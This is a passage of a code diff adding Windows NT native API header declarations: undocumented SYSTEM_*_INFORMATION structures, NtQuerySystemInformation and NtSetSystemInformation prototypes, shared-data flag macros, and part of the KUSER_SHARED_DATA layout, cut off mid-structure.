+} SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION, * PSYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION; + +// private +typedef struct _SYSTEM_PHYSICAL_MEMORY_INFORMATION +{ + ULONGLONG TotalPhysicalBytes; + ULONGLONG LowestPhysicalAddress; + ULONGLONG HighestPhysicalAddress; +} SYSTEM_PHYSICAL_MEMORY_INFORMATION, * PSYSTEM_PHYSICAL_MEMORY_INFORMATION; + +// private +typedef enum _SYSTEM_ACTIVITY_MODERATION_STATE +{ + SystemActivityModerationStateSystemManaged, + SystemActivityModerationStateUserManagedAllowThrottling, + SystemActivityModerationStateUserManagedDisableThrottling, + MaxSystemActivityModerationState +} SYSTEM_ACTIVITY_MODERATION_STATE; + +// private - REDSTONE2 +typedef struct _SYSTEM_ACTIVITY_MODERATION_EXE_STATE // REDSTONE3: Renamed SYSTEM_ACTIVITY_MODERATION_INFO +{ + UNICODE_STRING ExePathNt; + SYSTEM_ACTIVITY_MODERATION_STATE ModerationState; +} SYSTEM_ACTIVITY_MODERATION_EXE_STATE, * PSYSTEM_ACTIVITY_MODERATION_EXE_STATE; + +typedef enum _SYSTEM_ACTIVITY_MODERATION_APP_TYPE +{ + SystemActivityModerationAppTypeClassic, + SystemActivityModerationAppTypePackaged, + MaxSystemActivityModerationAppType +} SYSTEM_ACTIVITY_MODERATION_APP_TYPE; + +// private - REDSTONE3 +typedef struct _SYSTEM_ACTIVITY_MODERATION_INFO +{ + UNICODE_STRING Identifier; + SYSTEM_ACTIVITY_MODERATION_STATE ModerationState; + SYSTEM_ACTIVITY_MODERATION_APP_TYPE AppType; +} SYSTEM_ACTIVITY_MODERATION_INFO, * PSYSTEM_ACTIVITY_MODERATION_INFO; + +// private +typedef struct _SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS +{ + HANDLE UserKeyHandle; +} SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS, * PSYSTEM_ACTIVITY_MODERATION_USER_SETTINGS; + +// private +typedef struct _SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG Locked : 1; + ULONG UnlockApplied : 1; // Unlockable field removed 19H1 + ULONG UnlockIdValid : 1; + ULONG Reserved : 29; + }; + }; + UCHAR UnlockId[32]; // REDSTONE4 +} SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION, * PSYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION; + +// private +typedef struct _SYSTEM_FLUSH_INFORMATION +{ + ULONG SupportedFlushMethods; + ULONG ProcessorCacheFlushSize; + ULONGLONG SystemFlushCapabilities; + ULONGLONG Reserved[2]; +} SYSTEM_FLUSH_INFORMATION, * PSYSTEM_FLUSH_INFORMATION; + +// private +typedef struct _SYSTEM_WRITE_CONSTRAINT_INFORMATION +{ + ULONG WriteConstraintPolicy; + ULONG Reserved; +} SYSTEM_WRITE_CONSTRAINT_INFORMATION, * PSYSTEM_WRITE_CONSTRAINT_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION +{ + union + { + ULONG KvaShadowFlags; + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG KvaShadowRequired : 1; // REDSTONE4 + ULONG KvaShadowRequiredAvailable : 1; + ULONG InvalidPteBit : 6; + ULONG L1DataCacheFlushSupported : 1; + ULONG L1TerminalFaultMitigationPresent : 1; + ULONG Reserved : 18; + }; + }; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +// private +typedef struct _SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION +{ + HANDLE FileHandle; + ULONG ImageSize; + PVOID Image; +} SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION, * PSYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION +{ + PVOID HypervisorSharedUserVa; +} SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION, * PSYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION; + +// private +typedef struct _SYSTEM_FIRMWARE_PARTITION_INFORMATION +{ + UNICODE_STRING FirmwarePartition; +} SYSTEM_FIRMWARE_PARTITION_INFORMATION, * PSYSTEM_FIRMWARE_PARTITION_INFORMATION; + +// private +typedef struct _SYSTEM_SPECULATION_CONTROL_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG BpbEnabled : 1; + ULONG BpbDisabledSystemPolicy : 1; + ULONG BpbDisabledNoHardwareSupport : 1; + ULONG SpecCtrlEnumerated : 1; + ULONG SpecCmdEnumerated : 1; + ULONG IbrsPresent : 1; + ULONG StibpPresent : 1; + ULONG SmepPresent : 1; + ULONG SpeculativeStoreBypassDisableAvailable : 1; // REDSTONE4 (CVE-2018-3639) + ULONG SpeculativeStoreBypassDisableSupported : 1; + ULONG SpeculativeStoreBypassDisabledSystemWide : 1; + ULONG SpeculativeStoreBypassDisabledKernel : 1; + ULONG SpeculativeStoreBypassDisableRequired : 1; + ULONG BpbDisabledKernelToUser : 1; + ULONG SpecCtrlRetpolineEnabled : 1; + ULONG SpecCtrlImportOptimizationEnabled : 1; + ULONG EnhancedIbrs : 1; // since 19H1 + ULONG HvL1tfStatusAvailable : 1; + ULONG HvL1tfProcessorNotAffected : 1; + ULONG HvL1tfMigitationEnabled : 1; + ULONG HvL1tfMigitationNotEnabled_Hardware : 1; + ULONG HvL1tfMigitationNotEnabled_LoadOption : 1; + ULONG HvL1tfMigitationNotEnabled_CoreScheduler : 1; + ULONG EnhancedIbrsReported : 1; + ULONG MdsHardwareProtected : 1; // since 19H2 + ULONG MbClearEnabled : 1; + ULONG MbClearReported : 1; + ULONG Reserved : 5; + }; + }; +} SYSTEM_SPECULATION_CONTROL_INFORMATION, * PSYSTEM_SPECULATION_CONTROL_INFORMATION; + +// private +typedef struct _SYSTEM_DMA_GUARD_POLICY_INFORMATION +{ + BOOLEAN DmaGuardPolicyEnabled; +} SYSTEM_DMA_GUARD_POLICY_INFORMATION, * PSYSTEM_DMA_GUARD_POLICY_INFORMATION; + +// private +typedef struct _SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION +{ + UCHAR EnclaveLaunchSigner[32]; +} SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION, * PSYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION; + +// private +typedef struct _SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION +{ + ULONGLONG WorkloadClass; + ULONGLONG CpuSets[1]; +} SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION, * PSYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION; + +// private +typedef struct _SYSTEM_SECURITY_MODEL_INFORMATION +{ + union + { + ULONG SecurityModelFlags; + struct + { + ULONG SModeAdminlessEnabled : 1; + ULONG AllowDeviceOwnerProtectionDowngrade : 1; + ULONG Reserved : 30; + }; + }; +} SYSTEM_SECURITY_MODEL_INFORMATION, * PSYSTEM_SECURITY_MODEL_INFORMATION; + +// private +typedef struct _SYSTEM_FEATURE_CONFIGURATION_INFORMATION +{ + ULONGLONG ChangeStamp; + struct _RTL_FEATURE_CONFIGURATION* Configuration; // see ntrtl.h for types +} SYSTEM_FEATURE_CONFIGURATION_INFORMATION, * PSYSTEM_FEATURE_CONFIGURATION_INFORMATION; + +// private +typedef struct _SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION_ENTRY +{ + ULONGLONG ChangeStamp; + PVOID Section; + ULONGLONG Size; +} SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION_ENTRY, * PSYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION_ENTRY; + +// private +typedef struct _SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION +{ + ULONGLONG OverallChangeStamp; + SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION_ENTRY Descriptors[3]; +} SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION, * PSYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION; + +// private +typedef union _SECURE_SPECULATION_CONTROL_INFORMATION +{ + ULONG KvaShadowSupported : 1; + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG MbClearEnabled : 1; + ULONG L1TFMitigated : 1; // since 20H2 + ULONG BpbEnabled : 1; + ULONG IbrsPresent : 1; + ULONG EnhancedIbrs : 1; + ULONG StibpPresent : 1; + ULONG SsbdSupported : 1; + ULONG SsbdRequired : 1; + ULONG BpbKernelToUser : 1; + ULONG BpbUserToKernel : 1; + ULONG Reserved : 18; +} SECURE_SPECULATION_CONTROL_INFORMATION, * PSECURE_SPECULATION_CONTROL_INFORMATION; + +// private +typedef struct _SYSTEM_FIRMWARE_RAMDISK_INFORMATION +{ + ULONG Version; + ULONG BlockSize; + ULONG_PTR BaseAddress; + SIZE_T Size; +} SYSTEM_FIRMWARE_RAMDISK_INFORMATION, * PSYSTEM_FIRMWARE_RAMDISK_INFORMATION; + +// private +typedef struct _SYSTEM_SHADOW_STACK_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG CetCapable : 1; + ULONG UserCetAllowed : 1; + ULONG ReservedForUserCet : 6; + ULONG KernelCetEnabled : 1; + ULONG ReservedForKernelCet : 7; + ULONG Reserved : 16; + }; + }; +} SYSTEM_SHADOW_STACK_INFORMATION, * PSYSTEM_SHADOW_STACK_INFORMATION; + +// private +typedef union _SYSTEM_BUILD_VERSION_INFORMATION_FLAGS +{ + ULONG Value32; + struct + { + ULONG IsTopLevel : 1; + ULONG IsChecked : 1; + }; +} SYSTEM_BUILD_VERSION_INFORMATION_FLAGS, * PSYSTEM_BUILD_VERSION_INFORMATION_FLAGS; + +// private +typedef struct _SYSTEM_BUILD_VERSION_INFORMATION +{ + USHORT LayerNumber; + USHORT LayerCount; + ULONG OsMajorVersion; + ULONG OsMinorVersion; + ULONG NtBuildNumber; + ULONG NtBuildQfe; + UCHAR LayerName[128]; + UCHAR NtBuildBranch[128]; + UCHAR NtBuildLab[128]; + UCHAR NtBuildLabEx[128]; + UCHAR NtBuildStamp[26]; + UCHAR NtBuildArch[16]; + SYSTEM_BUILD_VERSION_INFORMATION_FLAGS Flags; +} SYSTEM_BUILD_VERSION_INFORMATION, * PSYSTEM_BUILD_VERSION_INFORMATION; + +// private +typedef struct _SYSTEM_POOL_LIMIT_MEM_INFO +{ + ULONGLONG MemoryLimit; + ULONGLONG NotificationLimit; +} SYSTEM_POOL_LIMIT_MEM_INFO, * PSYSTEM_POOL_LIMIT_MEM_INFO; + +// private +typedef struct _SYSTEM_POOL_LIMIT_INFO +{ + ULONG PoolTag; + SYSTEM_POOL_LIMIT_MEM_INFO MemLimits[2]; + WNF_STATE_NAME NotificationHandle; +} SYSTEM_POOL_LIMIT_INFO, * PSYSTEM_POOL_LIMIT_INFO; + +// private +typedef struct _SYSTEM_POOL_LIMIT_INFORMATION +{ + ULONG Version; + ULONG EntryCount; + SYSTEM_POOL_LIMIT_INFO LimitEntries[1]; +} SYSTEM_POOL_LIMIT_INFORMATION, * PSYSTEM_POOL_LIMIT_INFORMATION; + +// private +//typedef struct _SYSTEM_POOL_ZEROING_INFORMATION +//{ +// BOOLEAN PoolZeroingSupportPresent; +//} SYSTEM_POOL_ZEROING_INFORMATION, *PSYSTEM_POOL_ZEROING_INFORMATION; + +// private +typedef struct _HV_MINROOT_NUMA_LPS +{ + ULONG NodeIndex; + ULONG_PTR Mask[16]; +} HV_MINROOT_NUMA_LPS, * PHV_MINROOT_NUMA_LPS; + +// private +typedef enum _SYSTEM_IOMMU_STATE +{ + IommuStateBlock, + IommuStateUnblock +} SYSTEM_IOMMU_STATE; + +// private +typedef struct _SYSTEM_IOMMU_STATE_INFORMATION +{ + SYSTEM_IOMMU_STATE State; + PVOID Pdo; +} SYSTEM_IOMMU_STATE_INFORMATION, * PSYSTEM_IOMMU_STATE_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_MINROOT_INFORMATION +{ + ULONG NumProc; + ULONG RootProc; + ULONG RootProcNumaNodesSpecified; + USHORT RootProcNumaNodes[64]; + ULONG RootProcPerCore; + ULONG RootProcPerNode; + ULONG RootProcNumaNodesLpsSpecified; + HV_MINROOT_NUMA_LPS RootProcNumaNodeLps[64]; +} SYSTEM_HYPERVISOR_MINROOT_INFORMATION, * PSYSTEM_HYPERVISOR_MINROOT_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION +{ + ULONG RangeCount; + ULONG_PTR RangeArray[1]; +} SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION, * PSYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION; + +// private +typedef struct _SYSTEM_POINTER_AUTH_INFORMATION +{ + union + { + USHORT SupportedFlags; + struct + { + USHORT AddressAuthSupported : 1; + USHORT AddressAuthQarma : 1; + USHORT GenericAuthSupported : 1; + USHORT GenericAuthQarma : 1; + USHORT SupportedReserved : 12; + }; + }; + union + { + USHORT EnabledFlags; + struct + { + USHORT UserPerProcessIpAuthEnabled : 1; + USHORT UserGlobalIpAuthEnabled : 1; + USHORT UserEnabledReserved : 6; + USHORT KernelIpAuthEnabled : 1; + USHORT KernelEnabledReserved : 7; + }; + }; +} SYSTEM_POINTER_AUTH_INFORMATION, * PSYSTEM_POINTER_AUTH_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemInformationEx( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemInformationEx( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength +); + +// +// Define data shared between kernel and user mode. +// +// N.B. User mode has read only access to this data +// + +#ifndef _KERNEL_MODE +#define PROCESSOR_FEATURE_MAX 64 + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +// +// WARNING: This structure must have exactly the same layout for 32- and +// 64-bit systems. The layout of this structure cannot change and new +// fields can only be added at the end of the structure (unless a gap +// can be exploited). Deprecated fields cannot be deleted. Platform +// specific fields are included on all systems. +// +// Layout exactness is required for Wow64 support of 32-bit applications +// on Win64 systems. +// +// The layout itself cannot change since this structure has been exported +// in ntddk, ntifs.h, and nthal.h for some time. +// +// Define NX support policy values. +// + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +// +// SEH chain validation policies. +// +// N.B. These constants must not be changed because the ldr relies on their +// semantic meaning. +// + +#define SEH_VALIDATION_POLICY_ON 0 +#define SEH_VALIDATION_POLICY_OFF 1 +#define SEH_VALIDATION_POLICY_TELEMETRY 2 +#define SEH_VALIDATION_POLICY_DEFER 3 + +// +// Global shared data flags and manipulation macros. +// + +#define SHARED_GLOBAL_FLAGS_ERROR_PORT_V 0x0 +#define SHARED_GLOBAL_FLAGS_ERROR_PORT \ + (1UL << SHARED_GLOBAL_FLAGS_ERROR_PORT_V) + +#define SHARED_GLOBAL_FLAGS_ELEVATION_ENABLED_V 0x1 +#define SHARED_GLOBAL_FLAGS_ELEVATION_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_ELEVATION_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_VIRT_ENABLED_V 0x2 +#define SHARED_GLOBAL_FLAGS_VIRT_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_VIRT_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_INSTALLER_DETECT_ENABLED_V 0x3 +#define SHARED_GLOBAL_FLAGS_INSTALLER_DETECT_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_INSTALLER_DETECT_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_LKG_ENABLED_V 0x4 +#define SHARED_GLOBAL_FLAGS_LKG_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_LKG_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_DYNAMIC_PROC_ENABLED_V 0x5 +#define SHARED_GLOBAL_FLAGS_DYNAMIC_PROC_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_DYNAMIC_PROC_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_CONSOLE_BROKER_ENABLED_V 0x6 +#define SHARED_GLOBAL_FLAGS_CONSOLE_BROKER_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_CONSOLE_BROKER_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_SECURE_BOOT_ENABLED_V 0x7 +#define SHARED_GLOBAL_FLAGS_SECURE_BOOT_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_SECURE_BOOT_ENABLED_V) + +#define SHARED_GLOBAL_FLAGS_MULTI_SESSION_SKU_V 0x8 +#define SHARED_GLOBAL_FLAGS_MULTI_SESSION_SKU \ + (1UL << SHARED_GLOBAL_FLAGS_MULTI_SESSION_SKU_V) + +#define SHARED_GLOBAL_FLAGS_MULTIUSERS_IN_SESSION_SKU_V 0x9 +#define SHARED_GLOBAL_FLAGS_MULTIUSERS_IN_SESSION_SKU \ + (1UL << SHARED_GLOBAL_FLAGS_MULTIUSERS_IN_SESSION_SKU_V) + +#define SHARED_GLOBAL_FLAGS_STATE_SEPARATION_ENABLED_V 0xA +#define SHARED_GLOBAL_FLAGS_STATE_SEPARATION_ENABLED \ + (1UL << SHARED_GLOBAL_FLAGS_STATE_SEPARATION_ENABLED_V) + +#define EX_INIT_BITS(Flags, Bit) \ + *((Flags)) |= (Bit) // Safe to use before concurrently accessible + +#define EX_TEST_SET_BIT(Flags, Bit) \ + InterlockedBitTestAndSet ((PLONG)(Flags), (Bit)) + +#define EX_TEST_CLEAR_BIT(Flags, Bit) \ + InterlockedBitTestAndReset ((PLONG)(Flags), (Bit)) + +// +// Define legal values for the SystemCall member. +// + +#define SYSTEM_CALL_SYSCALL 0 +#define SYSTEM_CALL_INT_2E 1 + +// +// Define flags for QPC bypass information. None of these flags may be set +// unless bypass is enabled. This is for compat with existing code which +// compares this value to zero to detect bypass enablement. +// + +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_ENABLED (0x01) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_USE_HV_PAGE (0x02) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_DISABLE_32BIT (0x04) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_USE_MFENCE (0x10) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_USE_LFENCE (0x20) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_A73_ERRATA (0x40) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_USE_RDTSCP (0x80) + +#include +//@[comment("MVI_tracked")] +typedef struct _KUSER_SHARED_DATA { + + // + // Current low 32-bit of tick count and tick count multiplier. + // + // N.B. The tick count is updated each time the clock ticks. + // + + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + // + // Current 64-bit interrupt time in 100ns units. + // + + volatile KSYSTEM_TIME InterruptTime; + + // + // Current 64-bit system time in 100ns units. + // + + volatile KSYSTEM_TIME SystemTime; + + // + // Current 64-bit time zone bias. + // + + volatile KSYSTEM_TIME TimeZoneBias; + + // + // Support image magic number range for the host system. + // + // N.B. This is an inclusive range. + // + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + // + // Copy of system root in unicode. + // + // N.B. This field must be accessed via the RtlGetNtSystemRoot API for + // an accurate result. + // + + WCHAR NtSystemRoot[260]; + + // + // Maximum stack trace depth if tracing enabled. + // + + ULONG MaxStackTraceDepth; + + // + // Crypto exponent value. + // + + ULONG CryptoExponent; + + // + // Time zone ID. + // + + ULONG TimeZoneId; + ULONG LargePageMinimum; + + // + // This value controls the AIT Sampling rate. + // + + ULONG AitSamplingValue; + + // + // This value controls switchback processing. + // + + ULONG AppCompatFlag; + + // + // Current Kernel Root RNG state seed version + // + + ULONGLONG RNGSeedVersion; + + // + // This value controls assertion failure handling. + // + + ULONG GlobalValidationRunlevel; + + volatile LONG TimeZoneBiasStamp; + + // + // The shared collective build number undecorated with C or F. + // GetVersionEx hides the real number + // + + ULONG NtBuildNumber; + + // + // Product type. + // + // N.B. This field must be accessed via the RtlGetNtProductType API for + // an accurate result. + // + + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + BOOLEAN Reserved0[1]; + USHORT NativeProcessorArchitecture; + + // + // The NT Version. + // + // N. B. Note that each process sees a version from its PEB, but if the + // process is running with an altered view of the system version, + // the following two fields are used to correctly identify the + // version + // + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + // + // Processor features. + // + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + // + // Reserved fields - do not use. + // + + ULONG Reserved1; + ULONG Reserved3; + + // + // Time slippage while in debugger. + // + + volatile ULONG TimeSlip; + + // + // Alternative system architecture, e.g., NEC PC98xx on x86. + // + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + + // + // Boot sequence, incremented for each boot attempt by the OS loader. + // + + ULONG BootId; + + // + // If the system is an evaluation unit, the following field contains the + // date and time that the evaluation unit expires. A value of 0 indicates + // that there is no expiration. A non-zero value is the UTC absolute time + // that the system expires. + // + + LARGE_INTEGER SystemExpirationDate; + + // + // Suite support. + // + // N.B. This field must be accessed via the RtlGetSuiteMask API for + // an accurate result. + // + + ULONG SuiteMask; + + // + // TRUE if a kernel debugger is connected/enabled. + // + + BOOLEAN KdDebuggerEnabled; + + // + // Mitigation policies. + // + + union + { + UCHAR MitigationPolicies; + struct + { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + }; + }; + + // + // Measured duration of a single processor yield, in cycles. This is used by + // lock packages to determine how many times to spin waiting for a state + // change before blocking. + // + + USHORT CyclesPerYield; + + // + // Current console session Id. Always zero on non-TS systems. + // + // N.B. This field must be accessed via the RtlGetActiveConsoleId API for an + // accurate result. + // + + volatile ULONG ActiveConsoleId; + + // + // Force-dismounts cause handles to become invalid. Rather than always + // probe handles, a serial number of dismounts is maintained that clients + // can use to see if they need to probe handles. + // + + volatile ULONG DismountCount; + + // + // This field indicates the status of the 64-bit COM+ package on the + // system. It indicates whether the Itermediate Language (IL) COM+ + // images need to use the 64-bit COM+ runtime or the 32-bit COM+ runtime. + // + + ULONG ComPlusPackage; + + // + // Time in tick count for system-wide last user input across all terminal + // sessions. For MP performance, it is not updated all the time (e.g. once + // a minute per session). It is used for idle detection. + // + + ULONG LastSystemRITEventTickCount; + + // + // Number of physical pages in the system. This can dynamically change as + // physical memory can be added or removed from a running system. + // + + ULONG NumberOfPhysicalPages; + + // + // True if the system was booted in safe boot mode. + // + + BOOLEAN SafeBootMode; + + // + // Virtualization flags + // + + union { + UCHAR VirtualizationFlags; + +#if defined(_ARM64_) + // + // Keep in sync with arc.w + // + struct { + UCHAR ArchStartedInEl2 : 1; + UCHAR QcSlIsSupported : 1; + UCHAR : 6; + }; +#endif // _ARM64_ + }; + + // + // Reserved (available for reuse). + // + + UCHAR Reserved12[2]; + + // + // This is a packed bitfield that contains various flags concerning + // the system state. They must be manipulated using interlocked + // operations. + // + // N.B. DbgMultiSessionSku must be accessed via the RtlIsMultiSessionSku + // API for an accurate result + // + + union { + ULONG SharedDataFlags; + struct { + + // + // The following bit fields are for the debugger only. Do not use. + // Use the bit definitions instead. + // + + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG DbgStateSeparationEnabled : 1; + ULONG SpareBits : 21; + } DUMMYSTRUCTNAME2; + } DUMMYUNIONNAME2; + + ULONG DataFlagsPad[1]; + + // + // Depending on the processor, the code for fast system call will differ, + // Stub code is provided pointers below to access the appropriate code. + // + // N.B. The following field is only used on 32-bit systems. + // + + ULONGLONG TestRetInstruction; + LONGLONG QpcFrequency; + + // + // On AMD64, this value is initialized to a nonzero value if the system + // operates with an altered view of the system service call mechanism. + // + + ULONG SystemCall; + + // + // Reserved field - do not use. Used to be UserCetAvailableEnvironments. + // + + ULONG Reserved2; + + // + // Reserved, available for reuse. + // + + ULONGLONG SystemCallPad[2]; + + // + // The 64-bit tick count. + // + + union { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + struct { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME3; + + // + // Cookie for encoding pointers system wide. + // + + ULONG Cookie; + ULONG CookiePad[1]; + + // + // Client id of the process having the focus in the current + // active console session id. + // + // N.B. This field must be accessed via the + // RtlGetConsoleSessionForegroundProcessId API for an accurate result. + // + + LONGLONG ConsoleSessionForegroundProcessId; + + // + // N.B. The following data is used to implement the precise time + // services. It is aligned on a 64-byte cache-line boundary and + // arranged in the order of typical accesses. + // + // Placeholder for the (internal) time update lock. + // + + ULONGLONG TimeUpdateLock; + + // + // The performance counter value used to establish the current system time. + // + + ULONGLONG BaselineSystemTimeQpc; + + // + // The performance counter value used to compute the last interrupt time. + // + + ULONGLONG BaselineInterruptTimeQpc; + + // + // The scaled number of system time seconds represented by a single + // performance count (this value may vary to achieve time synchronization). + // + + ULONGLONG QpcSystemTimeIncrement; + + // + // The scaled number of interrupt time seconds represented by a single + // performance count (this value is constant after the system is booted). + // + + ULONGLONG QpcInterruptTimeIncrement; + + // + // The scaling shift count applied to the performance counter system time + // increment. + // + + UCHAR QpcSystemTimeIncrementShift; + + // + // The scaling shift count applied to the performance counter interrupt time + // increment. + // + + UCHAR QpcInterruptTimeIncrementShift; + + // + // The count of unparked processors. + // + + USHORT UnparkedProcessorCount; + + // + // A bitmask of enclave features supported on this system. + // + // N.B. This field must be accessed via the RtlIsEnclareFeaturePresent API for an + // accurate result. + // + + ULONG EnclaveFeatureMask[4]; + + // + // Current coverage round for telemetry based coverage. + // + + ULONG TelemetryCoverageRound; + + // + // The following field is used for ETW user mode global logging + // (UMGL). + // + + USHORT UserModeGlobalLogger[16]; + + // + // Settings that can enable the use of Image File Execution Options + // from HKCU in addition to the original HKLM. + // + + ULONG ImageFileExecutionOptions; + + // + // Generation of the kernel structure holding system language information + // + + ULONG LangGenerationCount; + + // + // Reserved (available for reuse). + // + + ULONGLONG Reserved4; + + // + // Current 64-bit interrupt time bias in 100ns units. + // + + volatile ULONGLONG InterruptTimeBias; + + // + // Current 64-bit performance counter bias, in performance counter units + // before the shift is applied. + // + + volatile ULONGLONG QpcBias; + + // + // Number of active processors and groups. + // + + ULONG ActiveProcessorCount; + volatile UCHAR ActiveGroupCount; + + // + // Reserved (available for re-use). + // + + UCHAR Reserved9; + + union { + USHORT QpcData; + struct { + + // + // A boolean indicating whether performance counter queries + // can read the counter directly (bypassing the system call). + // + + volatile UCHAR QpcBypassEnabled; + + // + // Shift applied to the raw counter value to derive the + // QPC count. + // + + UCHAR QpcShift; + }; + }; + + LARGE_INTEGER TimeZoneBiasEffectiveStart; + LARGE_INTEGER 